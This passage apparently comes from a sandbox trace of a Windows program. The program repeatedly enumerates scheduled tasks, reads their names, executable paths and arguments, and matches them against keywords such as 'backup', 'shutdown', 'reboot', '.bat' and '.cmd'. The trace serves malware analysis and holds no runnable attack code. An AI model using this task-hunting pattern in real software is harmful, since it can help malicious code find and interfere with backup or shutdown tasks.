returned 0x0 [0130.780] wcsstr (_Str="updatelibrary", _SubStr=".bat") returned 0x0 [0130.780] wcsstr (_Str="updatelibrary", _SubStr="backup") returned 0x0 [0130.780] wcsstr (_Str="updatelibrary", _SubStr=".cmd") returned 0x0 [0130.780] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3e30) returned 1 [0130.780] IRegisteredTask:get_Definition (in: This=0x47fe78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47ff38) returned 0x0 [0130.856] ITaskDefinition:get_Actions (in: This=0x47ff38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460048) returned 0x0 [0130.856] IActionCollection:get_Count (in: This=0x2460048, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.857] IActionCollection:get_Item (in: This=0x2460048, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460818) returned 0x0 [0130.857] IAction:get_Type (in: This=0x2460818, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.857] IUnknown:QueryInterface (in: This=0x2460818, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460818) returned 0x0 [0130.857] IExecAction:get_Path (in: This=0x2460818, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="\"%ProgramFiles%\\Windows Media Player\\wmpnscfg.exe\"") returned 0x0 [0130.857] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x66) returned 0x6e3af8 [0130.857] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="reboot") returned 0x0 [0130.857] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="restart") returned 0x0 [0130.857] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="shutdown") returned 0x0 [0130.857] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="logoff") returned 0x0 [0130.857] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr=".bat") returned 0x0 [0130.857] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="backup") returned 0x0 [0130.857] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr=".cmd") returned 0x0 [0130.857] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e3af8) returned 1 [0130.857] IExecAction:get_Arguments (in: This=0x2460818, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0130.857] IUnknown:Release (This=0x2460818) returned 0x2 [0130.857] IUnknown:Release (This=0x2460818) returned 0x1 [0130.857] IUnknown:Release (This=0x2460048) returned 0x1 [0130.857] IUnknown:Release (This=0x47ff38) returned 0x0 [0130.857] IUnknown:Release (This=0x47fe78) returned 0x0 [0130.857] IUnknown:Release (This=0x2461f60) returned 0x0 [0130.857] ITaskFolder:GetFolders (in: This=0x2461ed0, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2461f60) returned 0x0 [0130.858] ITaskFolderCollection:get_Count (in: This=0x2461f60, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.858] IUnknown:Release (This=0x2461f60) returned 0x0 [0130.858] TaskScheduler:IUnknown:Release (This=0x2461ed0) returned 0x0 [0130.858] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2c, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2461ed0) returned 0x0 [0130.858] ITaskFolder:GetTasks (in: This=0x2461ed0, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2461f00) returned 0x0 [0130.858] IRegisteredTaskCollection:get_Count (in: This=0x2461f00, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.858] IRegisteredTaskCollection:get_Item (in: This=0x2461f00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fe10) returned 0x0 [0130.858] IRegisteredTask:get_Name (in: This=0x47fe10, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ConfigNotification") returned 0x0 [0130.859] IRegisteredTask:get_State (in: This=0x47fe10, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.861] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0130.861] wcsstr (_Str="confignotification", _SubStr="reboot") returned 0x0 [0130.861] wcsstr (_Str="confignotification", _SubStr="restart") returned 0x0 [0130.861] wcsstr (_Str="confignotification", _SubStr="shutdown") returned 0x0 [0130.861] wcsstr (_Str="confignotification", _SubStr="logoff") returned 0x0 [0130.861] wcsstr (_Str="confignotification", _SubStr=".bat") returned 0x0 [0130.861] wcsstr (_Str="confignotification", _SubStr="backup") returned 0x0 [0130.861] wcsstr (_Str="confignotification", _SubStr=".cmd") returned 0x0 [0130.861] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0130.861] IRegisteredTask:get_Definition (in: This=0x47fe10, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fed0) returned 0x0 [0130.869] ITaskDefinition:get_Actions (in: This=0x47fed0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47ff48) returned 0x0 [0130.870] IActionCollection:get_Count (in: This=0x47ff48, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.870] IActionCollection:get_Item (in: This=0x47ff48, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460760) returned 0x0 [0130.870] IAction:get_Type (in: This=0x2460760, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.870] IUnknown:QueryInterface (in: This=0x2460760, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460760) returned 0x0 [0130.870] IExecAction:get_Path (in: This=0x2460760, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%systemroot%\\System32\\sdclt.exe") returned 0x0 [0130.870] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2938 [0130.870] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="reboot") returned 0x0 [0130.870] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="restart") returned 0x0 [0130.870] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="shutdown") returned 0x0 [0130.870] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="logoff") returned 0x0 [0130.870] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr=".bat") returned 0x0 [0130.870] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="backup") returned 0x0 [0130.870] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr=".cmd") returned 0x0 [0130.870] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2938) returned 1 [0130.870] IExecAction:get_Arguments (in: This=0x2460760, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/CONFIGNOTIFICATION") returned 0x0 [0130.870] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0130.870] wcsstr (_Str="/confignotification", _SubStr="reboot") returned 0x0 [0130.870] wcsstr (_Str="/confignotification", _SubStr="restart") returned 0x0 [0130.870] wcsstr (_Str="/confignotification", _SubStr="shutdown") returned 0x0 [0130.870] wcsstr (_Str="/confignotification", _SubStr="logoff") returned 0x0 [0130.870] wcsstr (_Str="/confignotification", _SubStr=".bat") returned 0x0 [0130.870] wcsstr (_Str="/confignotification", _SubStr="backup") returned 0x0 [0130.870] wcsstr (_Str="/confignotification", _SubStr=".cmd") returned 0x0 [0130.870] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0130.871] IUnknown:Release (This=0x2460760) returned 0x2 [0130.871] IUnknown:Release (This=0x2460760) returned 0x1 [0130.871] IUnknown:Release (This=0x47ff48) returned 0x1 [0130.871] IUnknown:Release (This=0x47fed0) returned 0x0 [0130.871] IUnknown:Release (This=0x47fe10) returned 0x0 [0130.871] IUnknown:Release (This=0x2461f00) returned 0x0 [0130.871] ITaskFolder:GetFolders (in: This=0x2461ed0, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2461f00) returned 0x0 [0130.871] ITaskFolderCollection:get_Count (in: This=0x2461f00, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.871] IUnknown:Release (This=0x2461f00) returned 0x0 [0130.871] TaskScheduler:IUnknown:Release (This=0x2461ed0) returned 0x0 [0130.871] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2d, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2461ed0) returned 0x0 [0130.871] ITaskFolder:GetTasks (in: This=0x2461ed0, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2461f58) returned 0x0 [0130.872] IRegisteredTaskCollection:get_Count (in: This=0x2461f58, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.872] IRegisteredTaskCollection:get_Item (in: This=0x2461f58, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fe68) returned 0x0 [0130.872] IRegisteredTask:get_Name (in: This=0x47fe68, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Calibration Loader") returned 0x0 [0130.872] IRegisteredTask:get_State (in: This=0x47fe68, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.874] IUnknown:Release (This=0x47fe68) returned 0x0 [0130.874] IUnknown:Release (This=0x2461f58) returned 0x0 [0130.874] ITaskFolder:GetFolders (in: This=0x2461ed0, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2461f58) returned 0x0 [0130.874] ITaskFolderCollection:get_Count (in: This=0x2461f58, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.874] IUnknown:Release (This=0x2461f58) returned 0x0 [0130.874] TaskScheduler:IUnknown:Release (This=0x2461ed0) returned 0x0 [0130.874] IUnknown:Release (This=0x47fd30) returned 0x0 [0130.874] TaskScheduler:IUnknown:Release (This=0x47fcd0) returned 0x0 [0130.874] ITaskFolderCollection:get_Item (in: This=0x47fc00, index=0x5cfa74*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfa9c | out: ppFolder=0x5cfa9c*=0x2461ed0) returned 0x0 [0130.874] ITaskFolder:GetTasks (in: This=0x2461ed0, flags=0, ppTasks=0x5cfa3c | out: ppTasks=0x5cfa3c*=0x2461f40) returned 0x0 [0130.875] IRegisteredTaskCollection:get_Count (in: This=0x2461f40, pCount=0x5cfa18 | out: pCount=0x5cfa18*=0) returned 0x0 [0130.875] IUnknown:Release (This=0x2461f40) returned 0x0 [0130.875] ITaskFolder:GetFolders (in: This=0x2461ed0, flags=0, ppFolders=0x5cfa78 | out: ppFolders=0x5cfa78*=0x2461f40) returned 0x0 [0130.875] ITaskFolderCollection:get_Count (in: This=0x2461f40, pCount=0x5cfa6c | out: pCount=0x5cfa6c*=0) returned 0x0 [0130.875] IUnknown:Release (This=0x2461f40) returned 0x0 [0130.875] TaskScheduler:IUnknown:Release (This=0x2461ed0) returned 0x0 [0130.875] IUnknown:Release (This=0x47fc00) returned 0x0 [0130.875] TaskScheduler:IUnknown:Release (This=0x47fbb0) returned 0x0 [0130.875] ITaskFolderCollection:get_Item (in: This=0x47fb20, index=0x5cfaa0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfac8 | out: ppFolder=0x5cfac8*=0x2461ed0) returned 0x0 [0130.875] ITaskFolder:GetTasks (in: This=0x2461ed0, flags=0, ppTasks=0x5cfa68 | out: ppTasks=0x5cfa68*=0x2461f00) returned 0x0 [0130.876] IRegisteredTaskCollection:get_Count (in: This=0x2461f00, pCount=0x5cfa44 | out: pCount=0x5cfa44*=0) returned 0x0 [0130.876] IUnknown:Release (This=0x2461f00) returned 0x0 [0130.876] ITaskFolder:GetFolders (in: This=0x2461ed0, flags=0, ppFolders=0x5cfaa4 | out: ppFolders=0x5cfaa4*=0x2461f00) returned 0x0 [0130.876] ITaskFolderCollection:get_Count (in: This=0x2461f00, pCount=0x5cfa98 | out: pCount=0x5cfa98*=0) returned 0x0 [0130.876] IUnknown:Release (This=0x2461f00) returned 0x0 [0130.876] TaskScheduler:IUnknown:Release (This=0x2461ed0) returned 0x0 [0130.876] IUnknown:Release (This=0x47fb20) returned 0x0 [0130.876] TaskScheduler:IUnknown:Release (This=0x47fab8) returned 0x0 [0130.877] TaskScheduler:IUnknown:Release (This=0x47fa50) returned 0x0 [0130.877] CoUninitialize () [0130.887] Sleep (dwMilliseconds=0xea60) [0141.283] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0141.283] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0142.039] CoCreateInstance (in: rclsid=0xc6050*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xc6040*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x5cfaf8 | out: ppv=0x5cfaf8*=0x2461ed0) returned 0x0 [0142.049] TaskScheduler:ITaskService:Connect (This=0x2461ed0, serverName=0x5cfaa0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x5cfab0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x5cfac0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x5cfad0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0143.329] TaskScheduler:ITaskService:GetFolder (in: This=0x2461ed0, Path="\\", ppFolder=0x5cfaf4 | out: ppFolder=0x5cfaf4*=0x2460090) returned 0x0 [0144.971] ITaskFolder:GetTasks (in: This=0x2460090, flags=0, ppTasks=0x5cfa94 | out: ppTasks=0x5cfa94*=0x2461f58) returned 0x0 [0145.836] IRegisteredTaskCollection:get_Count (in: This=0x2461f58, pCount=0x5cfa70 | out: pCount=0x5cfa70*=0) returned 0x0 [0145.836] IUnknown:Release (This=0x2461f58) returned 0x0 [0145.836] ITaskFolder:GetFolders (in: This=0x2460090, flags=0, ppFolders=0x5cfad0 | out: ppFolders=0x5cfad0*=0x2460848) returned 0x0 [0145.842] ITaskFolderCollection:get_Count (in: This=0x2460848, pCount=0x5cfac4 | out: pCount=0x5cfac4*=2) returned 0x0 [0145.842] ITaskFolderCollection:get_Item (in: This=0x2460848, index=0x5cfaa0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfac8 | out: ppFolder=0x5cfac8*=0x24600c0) returned 0x0 [0145.842] ITaskFolder:GetTasks (in: This=0x24600c0, flags=0, ppTasks=0x5cfa68 | out: ppTasks=0x5cfa68*=0x2460890) returned 0x0 [0145.844] IRegisteredTaskCollection:get_Count (in: This=0x2460890, pCount=0x5cfa44 | out: pCount=0x5cfa44*=0) returned 0x0 [0145.844] IUnknown:Release (This=0x2460890) returned 0x0 [0145.844] ITaskFolder:GetFolders (in: This=0x24600c0, flags=0, ppFolders=0x5cfaa4 | out: ppFolders=0x5cfaa4*=0x2460890) returned 0x0 [0145.849] ITaskFolderCollection:get_Count (in: This=0x2460890, pCount=0x5cfa98 | out: pCount=0x5cfa98*=2) returned 0x0 [0145.849] ITaskFolderCollection:get_Item (in: This=0x2460890, index=0x5cfa74*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa9c | out: ppFolder=0x5cfa9c*=0x24600f0) returned 0x0 [0145.849] ITaskFolder:GetTasks (in: This=0x24600f0, flags=0, ppTasks=0x5cfa3c | out: ppTasks=0x5cfa3c*=0x24608d8) returned 0x0 [0145.851] IRegisteredTaskCollection:get_Count (in: This=0x24608d8, pCount=0x5cfa18 | out: pCount=0x5cfa18*=0) returned 0x0 [0145.851] IUnknown:Release (This=0x24608d8) returned 0x0 [0145.851] ITaskFolder:GetFolders (in: This=0x24600f0, flags=0, ppFolders=0x5cfa78 | out: ppFolders=0x5cfa78*=0x24608d8) returned 0x0 [0145.864] ITaskFolderCollection:get_Count (in: This=0x24608d8, pCount=0x5cfa6c | out: pCount=0x5cfa6c*=45) returned 0x0 [0145.864] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0145.864] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2460a10) returned 0x0 [0146.380] IRegisteredTaskCollection:get_Count (in: This=0x2460a10, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0146.380] IRegisteredTaskCollection:get_Item (in: This=0x2460a10, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a70) returned 0x0 [0146.380] IRegisteredTask:get_Name (in: This=0x2460a70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AD RMS Rights Policy Template Management (Automated)") returned 0x0 [0146.380] IRegisteredTask:get_State (in: This=0x2460a70, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0146.386] IUnknown:Release (This=0x2460a70) returned 0x0 [0146.386] IRegisteredTaskCollection:get_Item (in: This=0x2460a10, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a70) returned 0x0 [0146.386] IRegisteredTask:get_Name (in: This=0x2460a70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AD RMS Rights Policy Template Management (Manual)") returned 0x0 [0146.386] IRegisteredTask:get_State (in: This=0x2460a70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0146.389] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x64) returned 0x6d9308 [0146.389] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="reboot") returned 0x0 [0146.389] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="restart") returned 0x0 [0146.389] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="shutdown") returned 0x0 [0146.389] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="logoff") returned 0x0 [0146.389] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr=".bat") returned 0x0 [0146.389] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="backup") returned 0x0 [0146.389] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr=".cmd") returned 0x0 [0146.389] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d9308) returned 1 [0146.390] IRegisteredTask:get_Definition (in: This=0x2460a70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fbe0) returned 0x0 [0146.913] ITaskDefinition:get_Actions (in: This=0x47fbe0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fc58) returned 0x0 [0146.913] IActionCollection:get_Count (in: This=0x47fc58, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0146.913] IActionCollection:get_Item (in: This=0x47fc58, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47ffa8) returned 0x0 [0146.913] IAction:get_Type (in: This=0x47ffa8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0146.913] IUnknown:Release (This=0x47ffa8) returned 0x1 [0146.913] IUnknown:Release (This=0x47fc58) returned 0x1 [0146.913] IUnknown:Release (This=0x47fbe0) returned 0x0 [0146.913] IUnknown:Release (This=0x2460a70) returned 0x0 [0146.913] IUnknown:Release (This=0x2460a10) returned 0x0 [0146.913] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2460a10) returned 0x0 [0146.913] ITaskFolderCollection:get_Count (in: This=0x2460a10, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0146.914] IUnknown:Release (This=0x2460a10) returned 0x0 [0146.914] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0146.914] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0146.914] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b8) returned 0x0 [0146.914] IRegisteredTaskCollection:get_Count (in: This=0x24609b8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0146.914] IUnknown:Release (This=0x24609b8) returned 0x0 [0146.914] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b8) returned 0x0 [0146.915] ITaskFolderCollection:get_Count (in: This=0x24609b8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0146.915] IUnknown:Release (This=0x24609b8) returned 0x0 [0146.915] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0146.915] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0146.915] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609d8) returned 0x0 [0146.915] IRegisteredTaskCollection:get_Count (in: This=0x24609d8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0146.915] IUnknown:Release (This=0x24609d8) returned 0x0 [0146.915] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609d8) returned 0x0 [0146.916] ITaskFolderCollection:get_Count (in: This=0x24609d8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0146.916] IUnknown:Release (This=0x24609d8) returned 0x0 [0146.916] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0146.916] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0146.916] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b8) returned 0x0 [0146.916] IRegisteredTaskCollection:get_Count (in: This=0x24609b8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0146.916] IRegisteredTaskCollection:get_Item (in: This=0x24609b8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a60) returned 0x0 [0146.916] IRegisteredTask:get_Name (in: This=0x2460a60, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Proxy") returned 0x0 [0146.916] IRegisteredTask:get_State (in: This=0x2460a60, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0146.918] IUnknown:Release (This=0x2460a60) returned 0x0 [0146.918] IUnknown:Release (This=0x24609b8) returned 0x0 [0146.918] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b8) returned 0x0 [0146.918] ITaskFolderCollection:get_Count (in: This=0x24609b8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0146.918] IUnknown:Release (This=0x24609b8) returned 0x0 [0146.918] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0146.918] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0146.918] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609c0) returned 0x0 [0146.919] IRegisteredTaskCollection:get_Count (in: This=0x24609c0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0146.919] IUnknown:Release (This=0x24609c0) returned 0x0 [0146.919] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609c0) returned 0x0 [0146.919] ITaskFolderCollection:get_Count (in: This=0x24609c0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0146.919] IUnknown:Release (This=0x24609c0) returned 0x0 [0146.919] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0146.919] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0146.919] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609e0) returned 0x0 [0146.920] IRegisteredTaskCollection:get_Count (in: This=0x24609e0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0146.920] IRegisteredTaskCollection:get_Item (in: This=0x24609e0, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fa50) returned 0x0 [0146.920] IRegisteredTask:get_Name (in: This=0x47fa50, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UserTask") returned 0x0 [0146.920] IRegisteredTask:get_State (in: This=0x47fa50, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0146.922] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6a90 [0146.922] wcsstr (_Str="usertask", _SubStr="reboot") returned 0x0 [0146.922] wcsstr (_Str="usertask", _SubStr="restart") returned 0x0 [0146.922] wcsstr (_Str="usertask", _SubStr="shutdown") returned 0x0 [0146.922] wcsstr (_Str="usertask", _SubStr="logoff") returned 0x0 [0146.922] wcsstr (_Str="usertask", _SubStr=".bat") returned 0x0 [0146.922] wcsstr (_Str="usertask", _SubStr="backup") returned 0x0 [0146.922] wcsstr (_Str="usertask", _SubStr=".cmd") returned 0x0 [0146.922] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6a90) returned 1 [0146.922] IRegisteredTask:get_Definition (in: This=0x47fa50, 